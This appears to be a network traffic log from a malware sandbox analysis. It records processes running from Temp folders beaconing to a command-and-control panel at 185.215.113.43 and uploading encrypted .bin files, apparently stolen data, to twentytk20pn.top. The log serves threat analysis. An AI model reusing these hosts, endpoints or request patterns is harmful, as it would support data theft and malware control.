Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49959	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:11.257000923 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:48:12.589101076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49968	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:14.365612030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:48:15.747179031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49975	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:17.385404110 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:48:18.716049910 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49984	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:20.471832037 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:48:21.815754890 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49993	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:23.444755077 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:48:24.793823957 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49999	185.185.71.170	80	3220	C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:25.539330959 CET	645	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------rMax4SAkNHGr8ofaH0KIJh Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 72 4d 61 78 34 53 41 6b 4e 48 47 72 38 6f 66 61 48 30 4b 49 4a 68 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 58 75 6d 75 64 65 70 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ec ce e5 cd 8e e5 b5 10 5d e2 f4 eb ea 90 8f dc 72 7a 3d ed f5 5a d9 6b 67 27 2c 97 d4 63 aa dc 23 a9 5e f3 14 b1 82 8b d1 24 17 23 8e 6c 3e cf aa 12 99 a8 fc 7b 02 4c 19 6e 5c 01 0c 09 2a ae 80 77 8b a9 a1 1d 44 bb d5 b6 23 d0 60 b4 3a 82 ac 3a ec 8d bb 2a 3b 18 c9 72 13 65 f2 68 45 f9 53 59 d4 78 1f 66 97 56 e4 41 db 86 9f 04 6f 4e 2a 9b 6d 1c 92 6d bb 7c 2f 10 63 0e 94 0e 26 0c f2 9c f8 55 3a f6 b0 8a 27 a4 3b 1e 35 94 af c7 55 b2 cf 0d 32 f5 75 89 42 cd b5 52 50 c0 b2 44 2b a6 bc e8 8f 72 88 12 3f c1 f4 ee ca 09 dc bd f5 [TRUNCATED] Data Ascii: --------------------------rMax4SAkNHGr8ofaH0KIJhContent-Disposition: form-data; name="file"; filename="Xumudep.bin"Content-Type: application/octet-stream]rz=Zkg',c#^$#l>{Ln\wD#`::;rehESYxfVAoNmm\|/c&U:';5U2uBRPD+r?&}t`S~yFFXK1dYk4>Mp1r*.r~--------------------------rMax4SAkNHGr8ofaH0KIJh--
Dec 18, 2024 11:48:26.873657942 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 10:48:26 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1734520707 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50004	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:26.557884932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:48:27.896817923 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50010	185.185.71.170	80	3220	C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:28.915647984 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 76978 Content-Type: multipart/form-data; boundary=------------------------psxOhntH9I6CMXCWAl9J9e Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 73 78 4f 68 6e 74 48 39 49 36 43 4d 58 43 57 41 6c 39 4a 39 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 57 61 67 61 63 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a f4 b4 86 3e 2d 41 f1 e9 26 96 53 41 5f 6d c6 57 20 c2 2d 8c b4 ab 0f 9e d3 dc ce 38 5b 18 20 29 06 51 2f 8e 22 e5 0f ae 23 5a 03 f0 dc 8c 6e d5 c5 7c c2 14 b0 2a 35 1e ed 3c 55 50 53 fa 89 f6 f1 b5 b1 d7 ec f9 9b e2 31 f3 2a 20 a6 50 7d 8c ab 3d 49 6f a9 8b 64 24 65 1f 1b 6a c6 f2 25 6a 36 cf 9e c1 08 7b 64 e9 df 5e f8 2a ae 63 0c f2 b7 a7 44 61 02 f0 ec e8 02 85 92 28 63 cb 8e 14 59 ec 8f 7c 81 8f 20 6b 4c d8 0d 4d ac 8b 1f 35 a1 6c d4 85 c1 c4 e6 a5 67 9b d5 78 3f b3 33 fb ec 4b 1c a3 c8 c1 a6 21 19 31 4f e6 ad 35 86 9c 1e 55 [TRUNCATED] Data Ascii: --------------------------psxOhntH9I6CMXCWAl9J9eContent-Disposition: form-data; name="file"; filename="Wagaci.bin"Content-Type: application/octet-stream>-A&SA_mW -8[ )Q/"#Zn\|5<UPS1 P}=Iod$ej%j6{d^cDa(cY\| kLM5lgx?3K!1O5U<ppKEs?P<iF7v$;zk=h87b6qknDF#omkV.@e5wv%9]}~?#q3s"b)5 -=/44\|fX2VWcx~P_OiO%y!Qf#1=m!TAL),<b/1LEE(7!~w5Sag-5y]GJHX!}r5tmet"eJZivCU_'x>#G,ce^d)X90q;q8\|68g*Ow+&3j_%NYV&Fj5`1!fg>X]SaQ3w{wf%fDydT_6$o7$LcbHQhrXVo"I_o.Jl00<QIp&cZ)+RT0MD@'&^wLr}lBIem~ [TRUNCATED]
Dec 18, 2024 11:48:29.035299063 CET	4944	OUT	Data Raw: bb bc c8 8e c0 e6 a0 09 b0 35 ba 0b 61 28 89 0d 93 8f 8f 67 b4 a8 dd e7 75 89 35 a7 23 cf bd c6 5a 25 d4 92 2d e9 13 46 2d 47 92 2b 93 b8 58 75 35 66 f0 96 09 f7 e9 db f2 a9 a0 f5 0c 1c af d5 0c ee 51 cb 56 60 20 b7 93 91 b8 b6 1f d0 41 a6 2c 1c Data Ascii: 5a(gu5#Z%-F-G+Xu5fQV` A, \|qSyK'~"fb 9Bz\%emBJ"$7H~y/^f-m?plWjGfLyznm:2]d.7x(]]q
Dec 18, 2024 11:48:29.035367966 CET	2472	OUT	Data Raw: 3a 39 07 8b 76 c6 2b cd 37 04 fb 72 95 2d 21 02 27 1b c9 7f 97 9f 70 c7 42 2e a0 79 6b fe da 06 9e 45 39 68 9a b3 87 8b 70 15 5e fc db 3a 22 d9 67 0c 0c f7 c2 77 7b 1b 84 b2 16 8c a3 e4 8c fd 0b a4 4c 36 d3 8d aa 84 fb f6 61 22 ac b5 82 5c ee 73 Data Ascii: :9v+7r-!'pB.ykE9hp^:"gw{L6a"\se;FNa<ot`xlgo+yw},s&CKZ\qU'>_=V_UKyBIknffLT.c:yIKt7-GO`FdM
Dec 18, 2024 11:48:29.035399914 CET	2472	OUT	Data Raw: 2c 86 f8 bd 1c 77 41 7b 7c f0 f6 78 79 79 81 76 89 9f b1 78 02 ea cf cd bb cd a9 59 9b c6 05 9c 26 c4 d2 7c b4 e8 3f da 62 06 90 29 f1 40 6e 2e 9f 89 91 83 52 f6 91 6b 96 29 8c f6 4d d3 ec 6f 35 94 1f c4 46 e3 a0 30 f9 fb d4 d8 e7 88 c6 cb 9d eb Data Ascii: ,wA{\|xyyvxY&\|?b)@n.Rk)Mo5F0Rd2A{if 'i'Rz;oSS]4__)na@~Z;p#C7\!@Q"{-hsIMXZvsn;'854k4`;bMx'j
Dec 18, 2024 11:48:29.035470009 CET	2472	OUT	Data Raw: 6a 96 56 14 7d 8c 44 8c f1 23 09 b7 ef 1c ca 9e a3 47 39 10 71 c0 44 3a 19 df aa 50 c4 6a ca a2 7a f4 48 9a b0 ca 8f 5a 04 62 de d0 7c 6e a4 81 f2 98 96 98 89 48 4f c8 47 eb 5f 69 7a d2 89 5f 24 df dc 9b 4a ef 56 1a 9a f2 bd 6a 49 2c ca 96 84 f6 Data Ascii: jV}D#G9qD:PjzHZb\|nHOG_iz_$JVjI,M$-SC7n]I {[AR-NP_n.5EujzL 9YH^>q.WK^/aj)[)Mdu+X>?1w9
Dec 18, 2024 11:48:29.035533905 CET	1236	OUT	Data Raw: f9 ca 6e 87 18 9e 42 57 45 89 f2 09 84 0b e3 ae f4 45 66 df fd 05 ad 2c f2 12 88 c7 51 4d 8c ba e4 b8 e5 b9 fc 7a b0 8e 0b 79 24 7a 62 f8 ea a1 b7 ac 75 57 8c 95 48 0f 95 9b 48 7f 01 5f f0 4c c6 c9 ed b5 b3 6d e9 45 7f fe b4 cb d7 34 15 1a 1b 70 Data Ascii: nBWEEf,QMzy$zbuWHH_LmE4pSBQx_FjsN-y-E?R+;tY'hAf+nb@({[yO@yH7ipDTYiocn^ELBevpQC7f1 ke$@NF<j+/r`O>~
Dec 18, 2024 11:48:29.035545111 CET	3708	OUT	Data Raw: 61 d5 ac 06 03 79 50 52 1d 62 66 e7 bd 21 40 6b a9 17 6c 90 92 6c 8a 3b 47 9c 7e 9d 27 1b c1 86 13 51 4f 9a 23 d4 73 05 1c b2 88 67 ab 2c e7 de 86 e3 60 ed 98 98 4d 57 dd c9 31 ea dd d2 4c bb b2 5d 0b 96 48 aa ce 69 bd 76 b9 e5 fe 42 4f a4 88 d3 Data Ascii: ayPRbf!@kll;G~'QO#sg,`MW1L]HivBO-qo?6q9R8B8\|c_]ax>M@_v RP_)../,iO44 .Uj[_2.#q~+=>w/QMa+H*
Dec 18, 2024 11:48:29.035624981 CET	2472	OUT	Data Raw: 8a ae 12 d1 90 68 01 2b b2 a4 bd 1f 0a 97 4f 14 b3 8f 61 98 e8 e4 fc 71 b2 ed 35 c2 1a 3d fc 89 41 dc d3 9b 0b 1d e6 b5 75 45 65 de f0 87 28 6c fa 7e 1f 55 73 43 13 8b fe f3 a2 b0 1a 08 c6 5a 4c 1c 39 37 e3 82 c2 8d ba 4d ce da db df 92 2d 65 2a Data Ascii: h+Oaq5=AuEe(l~UsCZL97M-eJ (I>/-jYf+3ffR%z9M/ge<_M%:GwDpBVhs^ew9`!sR9KC#pmcwxdw}KB`[
Dec 18, 2024 11:48:29.035645008 CET	2472	OUT	Data Raw: ba 9f 2e e6 1c 64 bf 00 f8 ae af 7b 6f fb fd dd e0 b9 ef f7 8d 69 85 5e 69 01 7a a5 93 33 4e 8e 9d 52 16 c8 20 5d f5 0e bb 35 aa 59 bb 3a cb ae 0c fd 34 0c 50 d6 7c 52 9d 80 f0 c7 d8 25 f5 91 09 5e 5c cf 77 b7 4c 23 d3 d2 bc c1 2d 2f fb f0 c6 d0 Data Ascii: .d{oi^iz3NR ]5Y:4P\|R%^\wL#-/4Ui83DNQ0V5!Q7Ie0}w1ITeLI*;)V@Srx+8Z0{"vyY6eA?tX>gu=[T%Q~l#zje#
Dec 18, 2024 11:48:29.035656929 CET	2472	OUT	Data Raw: f9 da d2 f3 a9 08 67 57 e2 7a ec 5e d5 9e 44 b1 fc 59 89 3a a2 d0 e8 b7 8d b7 b4 57 6c c5 01 08 5c cf d5 3f e5 8d eb 7d a9 f8 af 8d 62 90 3e eb ba ad f4 cb c8 a8 82 93 ab 20 0f 8e d6 78 3e 44 5d c8 3b 7b 18 b9 3b 91 40 21 73 74 0b 3c d0 39 5f 18 Data Ascii: gWz^DY:Wl\?}b> x>D];{;@!st<9_BLAu]Jkqaa.HFfz_oK[WJJZ \-sZ[/V]'$J1HKsfQFI<A.Z@<\|j/wmyv4 (TEa!fr6
Dec 18, 2024 11:48:29.155402899 CET	7416	OUT	Data Raw: 39 26 69 be cd a0 27 d0 ef 30 0b fe e8 81 ce e0 d7 47 07 16 92 84 48 29 34 7d 57 ae 33 49 3e bc 4d 68 27 b4 11 90 b6 df 0c 74 c9 73 a2 28 ff 71 53 d8 1f 51 0e 30 5c b3 f5 d6 40 f7 2f 25 5e 7e 66 f0 e9 7e 6e 7c 45 5d e3 fc cb 56 05 06 84 c6 1e 9d Data Ascii: 9&i'0GH)4}W3I>Mh'ts(qSQ0\@/%^~f~n\|E]VG>(ON,3"gy+MvTF!,UDfDD[xS2S2+Aj6EI(~F+]wnDH&/#D9Ci3-hC/pV_
Dec 18, 2024 11:48:30.734391928 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 10:48:30 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1734520707 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50012	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:29.540636063 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:48:31.603852987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:48:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50031	185.185.71.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:36.377635956 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 30407 Content-Type: multipart/form-data; boundary=------------------------CCm8LMigJGORbWBQdmSru4 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 43 43 6d 38 4c 4d 69 67 4a 47 4f 52 62 57 42 51 64 6d 53 72 75 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 69 6e 6f 72 75 66 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a d0 01 c7 10 0a b6 ae f8 34 08 50 ef 84 36 e0 26 34 1e 9c 88 90 9b b0 39 8a 47 fe 59 a9 4e 75 30 08 75 85 d9 40 bf a1 85 91 b3 f0 b7 da ed 21 09 6e cf 29 ef da cc c2 ae 22 5f f6 de c6 0a f9 c3 cf 17 24 b6 04 57 8b 3e 47 88 8f f2 f4 04 de e5 d4 77 6f f8 60 79 0f 2a 28 25 53 89 bc 67 41 0f d7 d9 d9 60 bb 3c a1 73 34 28 e8 6e bd 98 af 65 4b d5 94 21 b0 d7 87 5a 56 28 05 d8 91 93 6c bc 12 35 97 62 d8 4e c4 d0 af 64 c8 3d b9 9e a6 9c 76 e7 03 90 87 77 f5 90 53 3b 14 ba 48 f0 c5 da 7b cf 5b 29 69 9d b7 49 10 80 a2 06 90 c3 c8 49 c9 [TRUNCATED] Data Ascii: --------------------------CCm8LMigJGORbWBQdmSru4Content-Disposition: form-data; name="file"; filename="Yinoruf.bin"Content-Type: application/octet-stream4P6&49GYNu0u@!n)"_$W>Gwo`y(%SgA`<s4(neK!ZV(l5bNd=vwS;H{[)iIIG7p=Q1qhY=o{-utqqO`?mFx+SS6v38/DaH`9K_zKxk2ensn63L!aJ@6?^;Pr,&^4/;r3\U40'TAfN4pyJ5tQrN] _FDVy-nFs&JW=uc^fIWd\|U;E,A0Y(`!z4M5c?v>'jy:)"Fl Hgv<8uWn7tXHqdV8,Yw0#L{5FH";cj\O:8( K\*`OG3\Yqg>:/2ThT>c VoDeQSM(zj9Qbh;iCm@S<'le$8$kr;ZCdhA+i^djO59f [TRUNCATED]
Dec 18, 2024 11:48:36.499603033 CET	2472	OUT	Data Raw: 0c 23 8a ef 1f 0d 0f 14 a5 c2 bc 0a 34 f6 70 7c b2 33 b0 ee b8 e8 c5 67 e1 a4 d5 94 01 b1 85 d7 5e af 4d ce 8f 8d e3 41 d7 82 be 85 9c 6a 63 38 87 a8 b8 8b 8f 48 ed 4b db bd de f6 db cd d8 f9 87 a8 68 12 da 45 59 19 3a cd 1a e9 37 dc 31 18 c6 f4 Data Ascii: #4p\|3g^MAjc8HKhEY:71b(xl$pqS*wALZ"+j!?tW,R]E}YO~uQ\L\|HVmVdhjX:lGn"A U_DAL\|1nN6e&KE
Dec 18, 2024 11:48:36.499639034 CET	9888	OUT	Data Raw: 0a 4f 06 49 09 b4 72 cb f2 1e 96 2e 41 a6 bf 93 f2 af 13 4a 12 4d e8 da 1a ea 45 e3 86 76 99 c4 bc 78 49 54 a4 c3 6b d7 ef 08 f3 0a 77 2f ef 90 a2 6a 00 e1 af e8 fd 33 83 b7 06 9f fe 8c 49 fe 12 af d3 3c 4e cd d8 80 d5 05 d9 35 85 39 47 47 68 0e Data Ascii: OIr.AJMEvxITkw/j3I<N59GGhnB9CQE$]&6bHXqxM\SQ~gB[sBu+\S5q~\#&PJo42v]dOu'2#U\|@0pG'd(_d
Dec 18, 2024 11:48:36.499676943 CET	2472	OUT	Data Raw: 2e 40 15 8e 3b d5 1b 03 20 8e 20 9f 22 ae 07 44 6e 60 36 3c 62 3f cd 2b ac 3b 48 0b 48 14 a8 04 e8 f5 fd 10 54 64 22 d1 1a a1 11 a2 4d a8 cf 3f cf f6 c9 c1 c8 f8 e2 68 e8 e6 d4 02 4b b3 31 7b 4b 59 8d 18 c7 46 b9 12 0d 23 ea 03 03 d7 9a 7b d9 8c Data Ascii: .@; "Dn`6<b?+;HHTd"M?hK1{KYF#{RM~jJRB]+ST*&t;MK\|<^\g((]x%Hd&$wmDI.`[Tvp)sfJcF1Ot
Dec 18, 2024 11:48:36.499697924 CET	2472	OUT	Data Raw: f1 c2 e6 c7 64 ca 4b a6 4b b1 24 e0 3c b4 a6 7f f7 24 44 d5 e3 cb ba 5f 2b f5 1a 29 92 91 50 60 00 67 7f 7b 2c 5a 7e 0d 19 44 fa 21 0b d9 ea db 64 a4 72 7b 71 54 18 f5 38 30 71 27 59 8c 0e 74 42 db fc 3f aa c6 77 96 e2 47 47 d2 50 9c 7a e6 e2 2f Data Ascii: dKK$<$D_+)P`g{,Z~D!dr{qT80q'YtB?wGGPz/b\ }T1`1T@:jhYFQGI]?-.#zoR~\%>dwRdZ/?6~G~Jo3lhB(.OSH,8#ldLchg
Dec 18, 2024 11:48:36.499816895 CET	927	OUT	Data Raw: eb 14 11 d7 5b 78 be 3b b7 fc c7 0e f9 88 70 85 f2 25 a5 51 0e 36 cf 22 d5 4d a8 01 3b 9a e3 88 56 dd 7f c4 8c ba cd 25 9f 54 4f 24 cf c6 01 4c 98 60 09 b3 99 a6 f9 34 3f c9 85 18 c3 77 52 17 4f 3d 71 ae 17 1f 20 a4 d4 0b ae 44 e6 1b ff 56 69 22 Data Ascii: [x;p%Q6"M;V%TO$L`4?wRO=q DVi"/1Y"1hy#b76{@(%p=QwYs`d0%+f{s\x;5j".roEX68EBo\|5x
Dec 18, 2024 11:48:38.006001949 CET	255	IN	HTTP/1.1 200 OK server: nginx date: Wed, 18 Dec 2024 10:48:37 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 27 x-ratelimit-reset: 1734520707 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50033	185.185.71.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:48:39.297075033 CET	199	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 56 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 57 35 49 30 34 52 4a 67 38 48 38 7a 6d 78 39 67 31 37 33 34 35 31 38 38 38 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "W5I04RJg8H8zmx9g1734518880", "data": "Done2" }
Dec 18, 2024 11:48:41.555954933 CET	141	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 18 Dec 2024 10:48:40 GMT content-type: text/html; charset=utf-8 content-length: 4 Data Raw: 6f 6b 61 79 Data Ascii: okay

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
